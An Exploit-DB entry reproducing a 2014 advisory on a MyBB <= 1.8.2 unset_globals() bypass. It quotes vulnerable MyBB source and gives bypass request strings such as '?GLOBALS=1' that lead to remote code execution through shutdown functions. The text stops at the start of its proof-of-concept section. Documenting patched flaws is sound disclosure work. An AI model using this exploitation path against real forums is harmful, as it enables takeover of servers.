Exploit-DB #35323
Description: MyBB 1.8.2 - 'unset_globals()' Function Bypass / Remote Code Execution
Type: webapps
Platform: php
Date: 2014-11-22
Author: Taoguang Chen

Exploit:
# Exploit Title: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote
Code Execution Vulnerability
# Date: 2014-11-21
# Exploit Author: Taoguang Chen
# Vendor Homepage: twitter.com/chtg57
# Software Link: www.mybb.com
# Version: MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15

MyBB had released 1.8.3 and 1.6.16 to fixed this vulnerability.

Advisory: https://gist.github.com/chtg/e9824db42a8edf302b0e




#MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability

Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.03.06

> MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

##I. MyBB's unset_globals() Function Bypass

When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST, $\_GET, $\_FILES, and $\_COOKIE arrays will be destroyed.

```
		if(@ini_get("register_globals") == 1)
		{
			$this->unset_globals($_POST);
			$this->unset_globals($_GET);
			$this->unset_globals($_FILES);
			$this->unset_globals($_COOKIE);
		}
		...
	}
	...
	function unset_globals($array)
	{
		if(!is_array($array))
		{
			return;
		}

		foreach(array_keys($array) as $key)
		{
			unset($GLOBALS[$key]);
			unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
		}
	}
```

But unset\_globals() function can be bypassed.

###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed

```
foo.php?_COOKIE=1
// $_GET['_COOKIE']
```

When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE'].

```
			$this->unset_globals($_GET);
		...
	}
	...
	function unset_globals($array)
	{
		...
		foreach(array_keys($array) as $key)
		{
			unset($GLOBALS[$key]);
```

This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed because them will not be handled by unset().

```
			$this->unset_globals($_COOKIE);
		}
		...
	}
	...
	function unset_globals($array)
	{
		if(!is_array($array))
		{
			return;
		}
```

By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not be destroyed.

###ii) $GLOBALS Array was Destroyed

```
foo.php?GLOBALS=1
// $_GET['GLOBALS']
```

When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed.

$GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. This means that the binding between the $GLOBALS array and the global symbol table will be broken because $GLOBALS array has been destroyed. This also means all variables registered by PHP from $\_GET, $\_FILES and $\_COOKIE arrays will not be destroyed.

By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array, then the corresponding global variables registered by PHP will not be destroyed.

In fact, MyBB is already aware of the problem:

```
		$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
		foreach($protected as $var)
		{
			if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
			{
				die("Hacking attempt");
			}
		}
```

Unfortunately, there is a small hole yet:-)

$\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data.

But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array.

```
request_order = "GP"
```

This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COOKIE array data.

So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3.

##II. Remote Code Execution Vulnerability

There is one interesting method in MyBB:

```
class MyBB {
	...
	function __destruct()
	{
		// Run shutdown function
		if(function_exists("run_shutdown"))
		{
			run_shutdown();
		}
	}
}
```

Look into run\_shutdown() function:

```
function run_shutdown()
{
	global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
	...
	// Run any shutdown functions if we have them
	if(is_array($shutdown_functions))
	{
		foreach($shutdown_functions as $function)
		{
			call_user_func_array($function['function'], $function['arguments']);
		}
	}

	$done_shutdown = true;
}
```

The $shutdown\_functions was initialized via add\_shutdown() function in init.php:

```
// Set up any shutdown functions we need to run globally
add_shutdown('send_mail_queue');
```

But add\_shutdown() function initialization handler is wrong:

```
function add_shutdown($name, $arguments=array())
{
	global $shutdown_functions;

	if(!is_array($shutdown_functions))
	{
		$shutdown_functions = array();
	}

	if(!is_array($arguments))
	{
		$arguments = array($arguments);
	}

	if(is_array($name) && method_exists($name[0], $name[1]))
	{
		$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
		return true;
	}
	else if(!is_array($name) && function_exists($name))
	{
		$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
		return true;
	}

	return false;
}
```

In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result in arbitrary code execution.

##III. Proof of Concept

When request\_order = "GP" and register\_globals = On, remote code execution by jus